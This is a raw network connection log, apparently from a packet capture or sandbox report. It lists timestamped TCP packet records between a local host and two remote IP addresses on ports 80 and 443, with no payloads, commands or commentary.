Nov 24, 2024 00:06:25.129323959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.129354000 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.129368067 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.129415989 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.129415989 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.130445004 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.130465984 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.130520105 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.130527973 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.130548954 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.130634069 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.134011984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.134079933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.134120941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.134151936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.134536982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.134545088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.134607077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.135406971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.135449886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.135529041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.136288881 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.136399984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.136648893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.136748075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.136775970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.136964083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.137182951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.137228966 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.137248993 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.137259007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.137270927 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.137279987 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.137290001 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.137365103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.137365103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.137370110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.137945890 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.137965918 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.138044119 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.138051987 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.138058901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.138077021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.138137102 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.138168097 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.138221979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.138278961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.138998032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.139067888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.139130116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.139130116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.139909983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.139975071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.140007973 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.140048981 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.140857935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.140927076 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.140969038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.141742945 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.141802073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.141823053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.141858101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.142709017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.142716885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.142791986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.143596888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.143671036 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.143686056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.143743992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.144593954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.144612074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.144675016 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.145426035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.145543098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.145657063 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.145682096 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.146085978 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.146110058 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.146361113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.146456957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.147345066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.147351980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.147557974 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.147564888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.147564888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.147568941 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.147607088 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.147614956 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.147656918 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.147696018 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.148210049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.148216963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.148325920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.149187088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.149193048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.149250031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.150026083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.150089979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.150110960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.150156021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.150985956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.150995016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.151073933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.151910067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.151916981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.151981115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.152333975 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.152349949 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.152456045 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.152467966 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.152678013 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.152787924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.152903080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.152939081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.152986050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.152997017 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.153019905 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.153060913 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.153069019 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.153084993 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.153130054 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.153736115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.153810978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.153827906 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.153866053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.154598951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.154706001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.161624908 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161645889 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161724091 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.161734104 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161762953 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161777973 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161778927 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.161853075 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.161853075 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.161860943 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.161931038 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.170001984 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.170020103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.170169115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.170181036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.170237064 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.179449081 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.179464102 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.179836988 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.179852009 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.179913998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.188776970 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.188793898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.188862085 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.188877106 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.188963890 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.197669983 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.197686911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.197768927 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.197781086 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.197912931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.206986904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.207003117 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.207051992 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.207062960 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.207737923 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.215169907 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.215184927 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.215265036 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.215276003 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.215379000 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.219199896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.219249010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.219316959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.219331980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.219456911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.219463110 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.219580889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.220350981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.220422983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.220529079 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.221256018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.221306086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.221360922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.221576929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.222280979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.222335100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.222361088 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.222455025 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.223176003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.223181963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.223233938 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.224055052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.224139929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.224159956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.224199057 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.224311113 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.224334002 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.224386930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.224395037 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.224441051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.224462032 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.224945068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.225070000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.225076914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.225128889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.225867033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.225946903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.225984097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.226083994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.226845026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.226927996 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.226938009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.226975918 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.227701902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.227765083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.227768898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.227834940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.228624105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.228637934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.228677034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.228703976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.229564905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.229590893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.229645014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.230451107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.230513096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.230530977 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.230568886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.231425047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.231496096 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.231548071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.231656075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.231869936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.231889963 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.231940031 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.231946945 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.231966019 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.232006073 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.232352018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.232364893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.232418060 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.232500076 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.232552052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.232592106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.232592106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.232604980 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.233200073 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.233236074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.233351946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.233376980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.233484983 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.234179974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.234186888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.234234095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.235080957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.235136986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.235168934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.235168934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.236135006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.236176014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.236237049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.236294031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.236952066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.236958981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.237062931 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.237855911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.237967968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.237967968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.238037109 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.238742113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.238872051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.238878012 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.238931894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.239639997 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.239656925 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.239690065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.239763021 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.239769936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.239793062 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.239809036 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.240520000 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.240564108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.240602016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.240612030 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.240627050 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.240683079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.240683079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.246320009 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.246337891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.246375084 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.246381998 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.246447086 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.247399092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.247442007 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.247528076 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.247550011 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.247562885 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.247914076 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.252307892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.252388954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.252402067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.252446890 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.252851963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.252921104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.252990961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.253710032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.253776073 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.253803968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.253859997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.254163027 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.254172087 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.254235029 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.254244089 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.254297018 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.254657030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.254743099 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.254792929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.254842997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.255352974 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.255395889 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.255439997 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.255450010 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.255474091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.255522013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.255541086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.255598068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.255661964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.255709887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.256478071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.256524086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.256561041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.256561041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.257390976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.257474899 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.257482052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.257548094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.261408091 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.261430979 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.261517048 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.261528969 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.261554956 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.261707067 CET	49729	443	192.168.2.6	150.171.27.10
